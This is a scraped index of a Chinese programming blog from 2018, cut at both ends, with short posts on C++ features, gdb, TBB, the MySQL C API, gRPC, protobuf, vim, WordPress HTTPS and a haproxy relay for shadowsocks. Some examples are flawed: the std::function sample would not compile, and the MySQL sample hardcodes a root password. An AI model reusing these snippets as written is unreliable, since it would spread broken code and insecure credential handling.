先去check了该函数的实现，还有接口与头文件中的声明是否统一。发现没有问题。 然后怀疑.cpp文件没有被编译到，于是在该函数中添加 #pragma message(\"******************************8\") 发现的确被编译到了。 使用nm来查看动态库中的符号表，发现也可以找到这个函数的符号。 于是怀疑编译代码的时候没有链接到该动态库。 于是在make的时候打印详细信息。make VERBOSE=1 发现也的确链接了动态库…. 见鬼了Orz 然后用readelf -s 来查看动态库，惊讶得发现要找的那个符号的BIND怎么是LOCAL..也就是只有文件内可见。 最后发现…是公司内部的工具和CMakeLists中的add_library冲突… 虽然这个坑的解决方案没什么价值…不过因为这个坑了解了一些之前没有了解的部分，也算值得。 关于动态库的符号可见性： 控制的原因是，如果不控制，那么不同的cpp文件可能有相同的变量名字，如果把所有的符号都暴露，很可能在链接时产生冲突。 另外一个原因是，暴露没有必要的符号，会导致符号表的size变大，从而使得link时速度变慢。 参考资料: Introduction to symbol visibility readelf elf文件格式分析 Hiding what’s exposed in a shared library Why is the new C++ visibility support so useful?","date":"2018-08-15","externalUrl":null,"permalink":"/2018/08/symbol-table-visibility/","section":"Posts","summary":"编译某代码，发现报错某函数未定义的引用。该函数的是先前编译得到的动态库中。","tags":["符号表","cpp","符号可见性"],"title":"记录一次因动态库符号表可见性导致的未定义的引用(undefined reference)","type":"post"},{"categories":["其他"],"content":"import os 1import math 2ave_err=0.0 3max_err=0.0 4max_err_rate=0.0 5length=0 6with open(\"cpu_result.txt\",\"r\") as fp1, open(\"cuda_ppl_result.txt\",\"r\") as fp2: 7 for l1 in fp1: 8 l2 = fp2.readline() 9 l1=l1[:-2] 10 l2=l2[:-2] 11 lst = l1.split(' ') 12 lst2 = l2.split(' ') 13 #print lst 14 lst = [float(x) for x in lst ] 15 length = length + len(lst) 16 lst2 = [float(x) for x in lst2] 17 #print (lst) 18 #print (lst2) 19 20 for index,x in enumerate(lst): 21 y = lst2[index] 22 ave_err = ave_err + abs(x-y) 23 max_err = max(max_err,abs(x-y)) 24 max_err_rate = max(max_err_rate,abs(x-y)/x) 25 26 print(\"len=\",length) 27 print(\"max_err=\",max_err) 28 print(\"max_err_rate=\",max_err_rate*100,\"%\") 29 print(\"ave_err=\",ave_err/length) 需要提供两个文件，并且两个文件的数据格式相同。","date":"2018-08-06","externalUrl":null,"permalink":"/2018/08/calculate-error-with-python/","section":"Posts","summary":"import os 1import math 2ave_err=0.0 3max_err=0.0 4max_err_rate=0.0 5length=0 6with open(\"cpu_result.txt\",\"r\") as fp1, open(\"cuda_ppl_result.txt\",\"r\") as fp2: 7 for l1 in fp1: 8 l2 = fp2.readline() 9 l1=l1[:-2] 10 l2=l2[:-2] 11 lst = l1.split(' ') 12 lst2 = l2.split(' ') 13 #print lst 14 lst = [float(x) for x in lst ] 15 length = length + len(lst) 16 lst2 = [float(x) for x in lst2] 17 #print (lst) 18 #print (lst2) 19 20 for index,x in enumerate(lst): 21 y = lst2[index] 22 ave_err = ave_err + abs(x-y) 23 max_err = max(max_err,abs(x-y)) 24 max_err_rate = max(max_err_rate,abs(x-y)/x) 25 26 print(\"len=\",length) 27 print(\"max_err=\",max_err) 28 print(\"max_err_rate=\",max_err_rate*100,\"%\") 29 print(\"ave_err=\",ave_err/length) 需要提供两个文件，并且两个文件的数据格式相同。","tags":["python"],"title":"使用python计算误差代码","type":"post"},{"categories":["工程"],"content":"C++11 std::function 是一种通用、多态的函数封装,它的实例可以对任何可 以调用的目标实体进行存储、复制和调用操作 见下面的例子 1 /* *********************************************** 2 Author :111qqz 3 mail: renkuanze@sensetime.com 4 Created Time :2018年07月19日 星期四 17时41分00秒 5 File Name :bind.cpp 6 ************************************************ */ 7 #include \u003cfunctional\u003e 8 #include \u003ciostream\u003e 9 using namespace std; 10 float foo( int x,int y,int z){return x+y+z+1.;} 11 int main() 12 { 13 function\u003cint(int,int)\u003efunc = foo; 14 int y = 10; 15 function\u003cint(int)\u003efun = [\u0026]( int value)-\u003eint 16 { 17 return 1+value+y; 18 }; 19 cout\u003c\u003cfunc(15,4,9)\u003c\u003cendl; 20 cout\u003c\u003cfun(8)\u003c\u003cendl; 21 return 0; 22 } std::bind 则是用来绑定函数调用的参数的,它解决的需求是我们有时候可 能并不一定能够一次性获得调用某个函数的全部参数,通过这个函数,我们可以将 部分调用参数提前绑定到函数身上成为一个新的对象,然后在参数齐全后,完成调 用 看下面的例子: 1 2 #include \u003ciostream\u003e 3 #include \u003cfunctional\u003e 4 using namespace std; 5 int FUN( int x,int y,int z) 6 { 7 return x+y+z; 8 } 9 int main() 10 { 11 using namespace std::placeholders; 12 //int (*fp)(int ,int,int) = FUN; 13 auto bindfoo = bind(FUN,_1,1,2); 14 int ans = bindfoo(0); 15 cout\u003c\u003cans\u003c\u003cendl; 16 return 0; 17 } 18","date":"2018-07-19","externalUrl":null,"permalink":"/2018/07/cpp11-function-bind-notes/","section":"Posts","summary":"C++11 std::function 是一种通用、多态的函数封装,它的实例可以对任何可 以调用的目标实体进行存储、复制和调用操作","tags":["cpp","modern cpp"],"title":"c++11 function 与bind  学习笔记","type":"post"},{"categories":["其他"],"content":"tbb是**Threading Building Blocks library的缩写,**是一个为开发者提供并行解决方案的库. 先放个文档https://www.threadingbuildingblocks.org/intel-tbb-tutorial 再放一个代码示例: 1/* *********************************************** 2Author :111qqz 3mail: renkuanze@sensetime.com 4Created Time :2018年07月18日 星期三 14时20分54秒 5File Name :parallel_for.cpp 6************************************************ */ 7#include \u003ciostream\u003e 8#include \"tbb/tbb.h\" 9#include \u003cchrono\u003e 10 11using namespace std; 12using namespace tbb; 13 14const int N=1E9+7; 15float a[N+5]; 16void Foo(float \u0026x) { x -= 100; } 17void SerialApplyFoo( float a[], size_t n ) { 18for( size_t i=0; i!=n; ++i ) 19Foo(a[i]); 20} 21 22class ApplyFoo 23{ 24 float *const my_a; 25 26 public: 27 void operator()(const blocked_range\u003csize_t\u003e \u0026r) const 28 { 29 float *a = my_a; 30 for (size_t i = r.begin(); i != r.end(); ++i) 31 { 32 33 Foo(a[i]); 34 //printf(\"%.4f\\n\", a[i]); 35 } 36 } 37 ApplyFoo(float a[]) : my_a(a) 38 { 39 } 40}; 41 42void ParallelApplyFoo(float a[], size_t n) 43{ 44 parallel_for(blocked_range\u003csize_t\u003e(0, n), ApplyFoo(a)); 45} 46 47void print(float a[]) 48{ 49 for (int i = 0; i \u003c N; i++) 50 printf(\"%.4f%c\", a[i], i == 9 ? '\\n' : ' '); 51} 52int main() 53{ 54 for (int i = 0; i \u003c N; i++) 55 a[i] = 1. * i; 56 57 auto t1 = std::chrono::high_resolution_clock::now(); 58 SerialApplyFoo(a,N); 59 60 //ParallelApplyFoo(a, N); 61 auto t2 = std::chrono::high_resolution_clock::now(); 62 std::chrono::duration\u003cdouble, std::milli\u003e fp_ms = t2 - t1; 63 std::cout \u003c\u003c \"f() took \" \u003c\u003c fp_ms.count() \u003c\u003c \" ms, \"\u003c\u003cstd::endl; 64 65 //print(a); 66 return 0; 67} 编译选项为: g++ -std=c++11 parallel_for.cpp -L/home/sensetime/workspace/graph/3rdparty/tbb/lib/intel64/gcc4.7 -ltbb -o parallel_for","date":"2018-07-18","externalUrl":null,"permalink":"/2018/07/intel-tbb-notes/","section":"Posts","summary":"tbb是**Threading Building Blocks library的缩写,**是一个为开发者提供并行解决方案的库.","tags":["Threading Building Blocks"],"title":"intel tbb 学习笔记","type":"post"},{"categories":["工程"],"content":"以前用的办法太老土啦 看到一个since C++11的方法，我觉得比较优雅 1 #include \u003ciostream\u003e 2 #include \u003cchrono\u003e 3 //#include \u003cratio\u003e 4 #include \u003cthread\u003e 5 6 void f() 7 { 8 std::this_thread::sleep_for(std::chrono::seconds(1)); 9 } 10 11 int main() 12 { 13 auto t1 = std::chrono::high_resolution_clock::now(); 14 f(); 15 auto t2 = std::chrono::high_resolution_clock::now(); 16 17 // floating-point duration: no duration_cast needed 18 std::chrono::duration\u003cdouble, std::milli\u003e fp_ms = t2 - t1; 19 20 // integral duration: requires duration_cast 21 auto int_ms = std::chrono::duration_cast\u003cstd::chrono::milliseconds\u003e(t2 - t1); 22 23 // converting integral duration to integral duration of shorter divisible time unit: 24 // no duration_cast needed 25 std::chrono::duration\u003clong, std::micro\u003e int_usec = int_ms; 26 27 std::cout \u003c\u003c \"f() took \" \u003c\u003c fp_ms.count() \u003c\u003c \" ms, \" 28 \u003c\u003c \"or \" \u003c\u003c int_ms.count() \u003c\u003c \" whole milliseconds \" 29 \u003c\u003c \"(which is \" \u003c\u003c int_usec.count() \u003c\u003c \" whole microseconds)\" \u003c\u003c std::endl; 30 }","date":"2018-07-10","externalUrl":null,"permalink":"/2018/07/Record-code-run-time-with-cpp/","section":"Posts","summary":"以前用的办法太老土啦 看到一个since C++11的方法，我觉得比较优雅","tags":["cpp","modern cpp"],"title":"C++ 记录代码运行时间","type":"post"},{"categories":["工程"],"content":"用gdb调试c++的时候，需要添加-g编译选项add_compile_options(-g)，并且关掉各种编译优化 如果是多线程程序，可以用info threads 查看每个线程的信息 然后用thread [id] 查看指定线程，并用bt查看调用栈。 gdb调试的时候，可以用ctrl+c 停住程序，来查看调用栈，然后按c(continue)继续程序的运行。 emmm 先放一些相关的。 Linux 下如何产生core文件（core dump设置） ulimit -a 查看限制 ulimit -c unlimited 表示这只为不限制core文件大小 用gdb的调试命令如下: gdb ./test core.2065","date":"2018-07-06","externalUrl":null,"permalink":"/2018/07/gdb-notes/","section":"Posts","summary":"用gdb调试c++的时候，需要添加-g编译选项add_compile_options(-g)，并且关掉各种编译优化","tags":["gdb","cpp"],"title":"gdb学习笔记","type":"post"},{"categories":["其他"],"content":"先放资料． kafka简明教程","date":"2018-07-02","externalUrl":null,"permalink":"/2018/07/kafka-notes/","section":"Posts","summary":"先放资料． kafka简明教程","tags":["kafka","分布式消息系统"],"title":"Kafka 学习笔记","type":"post"},{"categories":["其他"],"content":"资料推荐这个:MySQL C API programming tutorial 环境为ubuntu 14.04 lts 需要安装mysql 和mysql 开发包 sudo apt-get install libmysqlclient15-dev mysql-server mysql-client 先在mysql 中建立test数据库和test表格 mysql\u003ecreate database test; mysql\u003euse test; //切换到test数据库中 mysql\u003e create table test(name varchar(255),num int(10) ); //创建一个叫test的表 mysql\u003eshow create table test; //显示刚才创建的表信息 mysql\u003e select * from test; //查询test表中数据 mysql\u003equit 然后用如下cpp代码连接 1#include \u003ccstdio\u003e 2#include \u003cmysql.h\u003e 3#include \u003ccstring\u003e 4int main(int argc,char *argv[]) 5{ 6 MYSQL conn; 7 int res; 8 mysql_init(\u0026conn); 9 if (mysql_real_connect(\u0026conn,\"localhost\",\"root\",\"2254965\",\"test\",0,NULL,CLIENT_FOUND_ROWS)) 10 { 11 puts(\"connect success\"); 12 res = mysql_query(\u0026conn,\"insert into test values('sensetime','23333')\"); 13 if (res) puts(\"error\"); 14 else puts(\"success\"); 15 printf(\"res=%d\\n\",res); 16 } 17 18 return 0; 19} 编译: g++ test.cpp `mysql_config --cflags --libs` -o test 此次从mysql中查询，发现成功插入了一条数据．","date":"2018-07-02","externalUrl":null,"permalink":"/2018/07/connect-mysql-with-cpp-under-linux/","section":"Posts","summary":"资料推荐这个:MySQL C API programming tutorial 环境为ubuntu 14.04 lts 需要安装mysql 和mysql 开发包","tags":["cpp","mysql","linux"],"title":"linux 下C++ 连接mysql 数据库","type":"post"},{"categories":["其他"],"content":"一个国内vps，一个国外vps. 前提是国外vps已经配置好。 接下来，我们在国内vps上安装haproxy yum -y install haproxy 或者 apt-get install haproxy 然后修改配置文件,位置在/etc/haproxy/haproxy.cfg global defaults log global mode tcp option dontlognull timeout connect 5000 timeout client 50000 timeout server 50000 frontend ss-in bind *:[port] default_backend ss-out backend ss-out server server1 [ip]:[port] maxconn 20480 把其中的[ip]和[port]替换成国外vps的ip和相应服务的port 然后在客户端，ip填写国内vps的ip,密码还是酸酸的密码，其他保持一致。","date":"2018-05-15","externalUrl":null,"permalink":"/2018/05/shadowsocks-with-haproxy/","section":"Posts","summary":"一个国内vps，一个国外vps. 前提是国外vps已经配置好。 接下来，我们在国内vps上安装haproxy","tags":["haproxy","shadowsocks"],"title":"使用haproxy中转酸酸流量","type":"post"},{"categories":["其他"],"content":"20190511更新: 证书到期了,写一下更换证书的流程. 重新申请好证书之后,直接把Apache里面对应的123放到/data/cert文件夹. 其中1对应server-ca.crt,2对应server.crt,3对应server.key 由于从套路云转移到良心云，迫于国内某些蛋疼的政策，以及一些其他原因，决定全站上https. 首先是申请SSL证书，这个良心云就可以申请，也有其他地方。 这里要注意的是，有些证书是只能对应一个域名，腾讯云貌似就是这样，不过好像www.111qqz.com的证书也可以用于111qqz.com 得到证书中有Apache,Nginx,Tomcat和IIS四个文件夹，由于我们使用的是Apache，所以其他三个不用管。 1. 将证书上传到服务器证书目录：/data/cert（没有cert目录可以自己新建） 2. 在/etc/httpd/conf.d目录下新建一个https配置文件，假设命名为mydomain-ssl.conf。 3. 拷贝下面的https配置文件模板到mydomain-ssl.conf文件中，并保存 1\u003cVirtualHost *:443\u003e 2ServerName www.111qqz.com 3ServerAlias 111qqz.com 4DocumentRoot \"/data/wwwroot/default/wordpress\" 5#ErrorLog \"logs/www.mydomain.com-error_log\" 6#CustomLog \"logs/www.mydomain.com-access_log\" common 7\u003cDirectory \"/data/wwwroot/default/wordpress\"\u003e 8Options Indexes FollowSymlinks 9AllowOverride All 10Require all granted 11\u003c/Directory\u003e 12SSLEngine on 13SSLCertificateFile /data/cert/server.crt 14SSLCertificateKeyFile /data/cert/server.key 15SSLCertificateChainFile /data/cert/server-ca.crt 16\u003c/VirtualHost\u003e 需要注意的是，servername那里要写带www的域名，不带www的写在serveralias 4. 修改配置文件中相关项，并保存 ServerName #主域名，务必修改 ServerAlias #副域名，可选项 DocumentRoot #网站路径，务必填写网站实际路径，例如:/data/wwwroot/default/wordpress Directory #同上 SSLCertificateFile #证书，务必填写网站实际路径 SSLCertificateKeyFile #证书私钥，务必填写网站实际路径 SSLCertificateChainFile #证书链（CA文件），务必填写网站实际路径 然后由于我是迁移了服务器，很大可能是主页可以访问，但任何一个其他页面都会因报错500 internal error 之类，查看日志，位置在/var/log/httpd 里面，发现报错AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use ‘LimitInternalRecursion’ to increase the limit if necessary. Use ‘LogLevel debug’ to get a backtrace., referer: https://111qqz.com/ 查了很多，最后发现问题是在wordpress的根目录下的.htaccess文件中 将Rewritebase的 /wordpress 改成/ 将RewriteRule的 . /wordpress/index.php 改成 . /index.php 最后.htaccess文件如下： 1RewriteEngine On 2Rewri","date":"2018-05-14","externalUrl":null,"permalink":"/2018/05/enable-https-for-wordpress/","section":"Posts","summary":"20190511更新: 证书到期了,写一下更换证书的流程. 重新申请好证书之后,直接把Apache里面对应的123放到/data/cert文件夹.","tags":["wordpress","blog"],"title":"wordpress 开启全站https","type":"post"},{"categories":["工程"],"content":"迫于拙劣的cpp水平，这次来记录一些关于STL算法部分的内容。 参考内容是CS106L的course reader Iterator Categories # Iterators分为以下五种: * Output Iterators:可以使用\"++\"；可以用*myItr = value,不能用value = *myItr * Input Iterators:可以使用\"++\";可以用value = *myItr，不能用*myItr = value * Forward Iterators: 可以使用\"++\",可以同时用value = *myItr和*myItr = value * Bidirectional Iterators:比起Forward Iterator 对了\"--\",但是不能+或者+= * Random-Access Iterators：比起Bidirectional Iterators多了+和+= Algorithm Naming Conventions # 一些关于STL Algorithm的命名规则 后缀_if表示只有当满足一定条件的时候该算法才会执行一定任务。 比如: 1 2 bool IsEven(int value) { 3 return value % 2 == 0; 4 } 5 cout \u003c\u003c count_if(myVec.begin(), myVec.end(), IsEven) \u003c\u003c endl; _n表示执行一个特定的操作n次。 比如: 1 fill_n(myDeque.begin(), 10, 0); Reordering Algorithms # * sort: 传入的必须是Random-Access Iterators，记得定义\u003c函数 * random_shuffle:传入的必须是Random-Access Iterators,作用是将一个区间内的元素打乱重排。 可以在使用之前先使用srand函数。 * rotate：作用是循环改变容器中元素的顺序。rotate(v.begin(), v.begin() + 2, v.end());会让(0, 1, 2, 3, 4, 5)变为(2, 3, 4, 5, 0, 1) Searching Algorithms # * find:三个参数，前面连个迭代器表示寻找的范围，第三个参数表示要找的值。返回第一个该值所在的位置的迭代器或者返回第二个迭代器(如果没找到) * binary_search:需要有序；返回某个值是否在一个范围内。 * lower_bound:需要有序；返回大于等于某值的第一个位置的迭代器。 **需要注意的是，如果某个容器本身有和STL algorithm同名的成员函数(比如set的find）,那么优先使用该容器的成员函数。**原因是STL Algorithm需要就有普适性，不会针对特定容易优化。因此对于set来说，其成员函数的find的复杂度是logn的，而STL alogithm的find是O(n)的复杂度。 Iterator Adaptors # 具有Iterator的性质，但是比Iterator更强.. 比如ostream_iterator 通过copy(myVector.begin(), myVector.end(), ostream_iterator(cout, \" “)); 可以直接将一个容器中的元素输出。 比如insert_iterator，对于要从一个容器拷贝元素到另一个容器，但是在编写代码时不知道源容器的元素有多少个的问题，可以很好解决？ 1 set\u003cint\u003e result; 2 set_union(setOne.begin(), setOne.end(), 3 // All of the elements in setOne 4 setTwo.begin(), setTwo.end(), 5 // All of the elements in setTwo 6 inserter(result, result.begin())); // Store in result. Removal Algorithms # 需要注意的是并没有真的remove,而是将\"remove\"的元素放在了容器后面（？），原因是STL Algorithm","date":"2018-05-06","externalUrl":null,"permalink":"/2018/05/c-stl-algotithms-notes/","section":"Posts","summary":"迫于拙劣的cpp水平，这次来记录一些关于STL算法部分的内容。","tags":["cpp","stl"],"title":"C++ STL Algotithms 学习笔记","type":"post"},{"categories":["工程"],"content":"迫于拙劣的cpp水平，来补补以前忽略掉的cpp细节。 老规矩，先放资料。 参考资料: A Gentle Introduction to C++ IO Streams “Designing and implementing a general input/output facility for a programming language is notoriously difficult” Bjarne Stroustrup Stream的基本认识 # 说说我的理解。stream(流)可以看做输入输出的抽象。我们通过流可以忽略掉device的细节，采取同样的输入输出方式。 对于任何原生的cpp类型，都可以用stream来处理。用户自定义的类，也可以通过重载«和»而让stream可以处理。 1 2 #include \u003ciostream\u003e 3 #include \u003cctime\u003e 4 #include \u003csstream\u003e 5 #include \u003cfstream\u003e 6 7 using namespace std; 8 9 // timestamp returns the current time as a string 10 std::string timestamp(); 11 12 class LogStatement; 13 ostream\u0026 operator\u003c\u003c(ostream\u0026 ost, const LogStatement\u0026 ls); 14 15 class LogStatement 16 { 17 public: 18 LogStatement(std::string s): data(s), time_string( timestamp() ) 19 { }; 20 21 //This method handles all the outputs. 22 friend ostream\u0026 operator\u003c\u003c(ostream\u0026, const LogStatement\u0026); 23 private: 24 std::string data; 25 std::string time_string; 26 27 }; 28 29 ostream\u0026 operator\u003c\u003c(ostream\u0026 ost, const LogStatement\u0026 ls) 30 { 31 ost\u003c\u003c\"~|\"\u003c\u003cls.time_string\u003c\u003c'|'\u003c\u003cls.data\u003c\u003c\"|~\"; 32 return ost; 33 } 34 35 std::string timestamp() 36 { 37 //Notice the use of a stringstream, yet another useful stream medium! 38 ostringstream stream; 39 time_t rawtime; 40 tm * timeinfo; 41 42 time(\u0026rawtime); 43 timeinfo = localtime( \u0026rawtime ); 44 45 stream \u003c\u003c (timeinfo-\u003etm_year)+1900\u003c\u003c\" \"\u003c\u003ctimeinfo-\u003etm_mon 46 \u003c\u003c\" \"\u003c\u003ctimeinfo-\u003etm_mday\u003c\u003c\" \"\u003c\u003ctimeinfo-\u003etm_hour 47 \u003c\u003c\" \"\u003c\u003ctimeinfo-\u003etm_min\u003c\u003c\" \"\u003c\u003ctimeinfo-\u003etm_sec; 48 // The str() function of output stringstreams return a std::string. 49 return stream.str(); 50 } 51 52 int main(int argc, char** argv) 53 { 54 if(argc\u003c2) 55 { 56 // A return of -1 denotes an error condition. 57 return -1; 58 } 59 ostringstream log_data; 60 // This takes all the char arrays in the argv 61 // (except the filename) and produ","date":"2018-05-04","externalUrl":null,"permalink":"/2018/05/cpp-io-streams-notes/","section":"Posts","summary":"迫于拙劣的cpp水平，来补补以前忽略掉的cpp细节。 老规矩，先放资料。","tags":["cpp","stream"],"title":"C++ IO Streams 学习笔记","type":"post"},{"categories":["其他"],"content":"迫于要在服务器上写cpp代码，又由于各种原因，没办法把同步到本地。因此要在服务器上配置一个cpp的环境orz. 我是用vim-plug来管理插件的，只需要添加 Plug ‘scrooloose/nerdtree’, { ‘on’: ‘NERDTreeToggle’ } 就好了。 下面记录一些会用到的快捷键: ctrl+w类似tmux里面的功能键。 crtl+w+w: 光标自动在左右侧窗口切换 cril+w+r:调换左右侧窗口的布局位置 t 在新 Tab 中打开选中文件/书签，并跳到新 Tab T 在新 Tab 中打开选中文件/书签，但不跳到新 Tab gT 前一个 tab gt 后一个 tab","date":"2018-04-30","externalUrl":null,"permalink":"/2018/04/vim-NERDTree-plugin/","section":"Posts","summary":"迫于要在服务器上写cpp代码，又由于各种原因，没办法把同步到本地。因此要在服务器上配置一个cpp的环境orz.","tags":["NERDTree","vim"],"title":"vim  插件 NERDTree 学习笔记","type":"post"},{"categories":["其他"],"content":"gRPC 是 google 最新发布的开源 RPC 框架, 声称是\"一个高性能，开源，将移动和HTTP/2放在首位的通用的RPC框架.\". 技术栈非常的新, 基于HTTP/2, netty4.1, proto3, 拥有非常丰富而实用的特性, 堪称新一代RPC框架的典范. //上面这段话是我抄的，其实我之前连RPC是什么都不知道， 关于RPC，如果你和我一样根本不知道是什么，请参考这里 我对RPC的理解就是，一层封装，使得不在同一个机器上的程序A可以一个调用另一个程序B，而不需要考虑这两台机器，以及这两个程序使用的语言的不同。 而gRPC是诸多RPC框架中比较新，也比较好用的一个。 学习gRPC需要会使用protobuf3,关于protobuf，可以参考protobuf学习笔记 官方文档 还是要给出的，虽然我没怎么看就是了orz gRPC的安装 # 参考这个，从源码编译安装 1 $ [sudo] apt-get install build-essential autoconf libtool pkg-config 2 $ [sudo] apt-get install libgflags-dev libgtest-dev 3 $ [sudo] apt-get install clang libc++-dev 4 $ git clone -b $(curl -L https://grpc.io/release) https://github.com/grpc/grpc 5 $ cd grpc 6 $ git submodule update --init 7 $ make 8 $ [sudo] make install 如果出现 configure: error: cannot find install-sh, install.sh, or shtool \u003cspan class=\"pl-k\"\u003ein\u003c/span\u003e \u003cspan class=\"pl-s\"\u003e\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e.\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"pl-s\"\u003e\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e./..\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"pl-s\"\u003e\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e./../..\u003cspan class=\"pl-pds\"\u003e\"\u003c/span\u003e\u003c/span\u003e 参考 Compile fails on Ubuntu 14.04 ? 发现是protobuf的锅，需要手动编译一下： 1cd third_party/protobuf 2sudo ./autogen.sh (not sure why this requires sudo - maybe it has been 3fixed now) 4sudo ./configure CC=clang CXX=clang++ (requires sudo because previous step 5polluted things) (clang is optional) 6sudo make (requires sudo because previous step polluted things) 7sudo make install 8sudo ldconfig gRPC的使用 # grpc/examples下有一些例子，自己搞搞就会写基本的了。(已经硬着头皮用gRPC写了一个项目的通信部分了orz…其实还挺容易的。但是项目的代码没办法放上来。。。所以。。直接看examples的代码就好了。","date":"2018-04-29","externalUrl":null,"permalink":"/2018/04/grpc-notes/","section":"Posts","summary":"gRPC 是 google 最新发布的开源 RPC 框架, 声称是\"一个高性能，开源，将移动和HTTP/2放在首位的通用的RPC框架.\". 技术栈非常的新, 基于HTTP/2, netty4.1, proto3, 拥有非常丰富而实用的特性, 堪称新一代RPC框架的典范.","tags":["gRPC"],"title":"gRPC学习笔记","type":"post"},{"categories":["其他"],"content":"现在用的vim配置还是2015年7月的时候写的。 三年过去了，vim到了8.0,很多功能也有了更多选择。因此打算来更新一波vim配置。目前还在更新过程中。。。等差不多折腾完再来记录一些信息。 1\"\"\"\"\"\"\"\"\"\"\" for vim \"\"\"\"\"\"\"\"\"\"\"\"\"\" 2set ru 3set nu 4set clipboard+=unnamed 5\" 映射全选+复制 ctrl+a 6map \u003cC-A\u003e ggvG\"+Y 7\"去空行 8nnoremap \u003cF2\u003e :g/^\\s*$/d\u003cCR\u003e 9\" 自动缩进 10set autoindent 11set tabstop=4 12set softtabstop=4 13set shiftwidth=4 14filetype on 15\" 载入文件类型插件 16filetype plugin on 17\" 为特定文件类型载入相关缩进文件 18filetype indent on 19\" 高亮显示匹配的括号 20set showmatch 21\" 高亮当前行 22set cursorline 23hi CursorLine cterm=bold ctermbg=blue ctermfg=yellow 24 25\"C，C++ 按F5编译运行 26map \u003cF5\u003e :call CompileRunGcc()\u003cCR\u003e 27func! CompileRunGcc() 28 exec \"w\" 29 if \u0026filetype == 'c' 30 exec \"!g++ % -o %\u003c\" 31 exec \"! ./%\u003c\" 32 elseif \u0026filetype == 'cpp' 33 exec \"!g++ % -std=gnu++11 -Wall -o %\u003c\" 34 exec \"! ./%\u003c\" 35 elseif \u0026filetype == 'java' 36 exec \"!javac %\" 37 exec \"!java %\u003c\" 38 elseif \u0026filetype == 'sh' 39 :!./% 40 elseif \u0026filetype == 'python' 41 \" exec \"!python %\" 42 \" exec \"!python %\u003c\" 43 exec \"!python2.7 %\" 44 endif 45endfunc 46 47 48autocmd BufNewFile *.cpp,*.[ch],*.sh,*.java exec \":call SetTitle()\" 49\"\"定义函数SetTitle，自动插入文件头 50\"map \u003cF4\u003e :call SetTitle()\u003cCR\u003e 51func SetTitle() 52 \"如果文件类型为.sh文件 53 if \u0026filetype == 'sh' 54 call setline(1,\"\\#########################################################################\") 55 call append(line(\".\"), \"\\# File Name: \".expand(\"%\")) 56 call append(line(\".\")+1, \"\\# Author: 111qqz\") 57 call append(line(\".\")+2, \"\\# mail: renkuanze@sensetime.com\") 58 call append(line(\".\")+3, \"\\# Created Time: \".strftime(\"%c\")) 59 call append(line(\".\")+4, \"\\#########################################################################\") 60 call append(line(\".\")+5, \"\\#!/bin/bash\") 61 call append(line(\".\")+6, \"\") 62 else 63 let l = 0 64 let l = l + 1 | call setline(l,'/* *******************************************","date":"2018-04-25","externalUrl":null,"permalink":"/2018/04/vim-config-in-2018/","section":"Posts","summary":"现在用的vim配置还是2015年7月的时候写的。 三年过去了，vim到了8.0,很多功能也有了更多选择。因此打算来更新一波vim配置。目前还在更新过程中。。。等差不多折腾完再来记录一些信息。","tags":["vim"],"title":"8102年了，来更新一波vim配置","type":"post"},{"categories":["其他"],"content":"Protobuff 是一种轻便高效的结构化数据存储格式，可以用于结构化数据序列化。它很适合做数据存储或 RPC 数据交换格式。可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。 之前由于要用levelDB存feature,而levelDB的key只能是string(?,反正不能是一个数组)， 使用了protobuf. protobuf本身还比较easy,不过目前似乎protobuf2仍然是主流，但是由于最近在看gRPC的缘故，要使用protobuf3.　如果protobuf2没有卸载干净，绝对欲仙欲死…记录一些坑．详细一点的笔记之后补． // protobuf3坑好多啊…语法全靠猜，也是有毒 行吧，怪我没找到orz,生成的cpp语法部分在 这里。 先放参考资料好了。一开始找到一个pdf文档，说是官方文档的翻译版…但实际上感觉，讲得很烂。直接看官方文档比较好。 其中 Language Guide (proto3) 讲了protobuf3的proto文件的语法相关。 Protocol Buffer Basics: C++ 讲了怎么从编写proto文件到在cpp中使用的一般步骤（注意此处貌似是按照protobuf2讲的） C++ Generated Code 讲了生成的cpp代码的接口，并且强调了protobuf2和protobuf3的区别。 1syntax = \"proto3\"; 2package test; 3message Feature 4{ 5 int32 ver = 1; 6 int32 idx = 2; 7 int32 len = 3; 8 repeated float feat = 4; 9} 生成相应代码的语法为: protoc –cpp_out=. test.proto 1#include \u003ciostream\u003e 2#include \u003ccassert\u003e 3#include \u003ccstdlib\u003e 4#include \u003cstring\u003e 5#include \u003cvector\u003e 6#include \"test.pb.h\" 7 8using namespace std; 9 10using namespace test; 11int main() 12{ 13 14 float arr[10]={4,5,6,7,8,9}; 15 Feature feature; 16 puts(\"def feature\"); 17 float ft; 18 for ( int i = 0 ; i \u003c 4 ; i++) 19 { 20 feature.add_feat(arr[i]); 21 //feature.set_feat(3,arr[i]); 22 cout\u003c\u003c\"arr[i]:\"\u003c\u003carr[i]\u003c\u003cendl; 23 } 24 for ( int i = 0 ; i \u003c feature.feat_size() ; i++) 25 { 26 float ftval = feature.feat(i); 27 cout\u003c\u003ci+1\u003c\u003c\" \"\u003c\u003cftval\u003c\u003cendl; 28 } 29 30 31 32 return 0; 33} 编译选项为:g++ mytest.cc test.pb.cc -o test -lprotobuf 可能遇到这个问题 Undefined reference to google protobuf 解决办法是卸载掉系统自带的protobuf相关（ubuntu14.04默认还都是protbuf2,protobuf3我是从源码自己编译的） apt-get remove libprotobuf-dev 如果X是单个的变量，那么语法为set_X(val) 如果X是repeated类型，语法为add_X(val) protobuf中message的嵌套: 对于如下的.proto 1syntax = \"proto3\"; 2package test; 3message Feature 4{ 5 int32 ver = 1; 6 int32 idx = 2; 7 int32 len = 3; 8 repeated float feat = 4; 9 message Single 10 { 11 int64 xxx =","date":"2018-04-24","externalUrl":null,"permalink":"/2018/04/protobuf-notes/","section":"Posts","summary":"Protobuff 是一种轻便高效的结构化数据存储格式，可以用于结构化数据序列化。它很适合做数据存储或 RPC 数据交换格式。可用于通讯协议、数据存储等领域的语言无关、平台无关、可扩展的序列化结构数据格式。","tags":["protobuf"],"title":"protobuf学习笔记","type":"post"},{"categories":["工程"],"content":"2022-02-26 update: 说学习笔记听起来像在分析代码。。。但是实际上什么都没干，还是写\"使用笔记\"好了 大三的时候看过一点levelDB的源码，不过没有怎么用过。 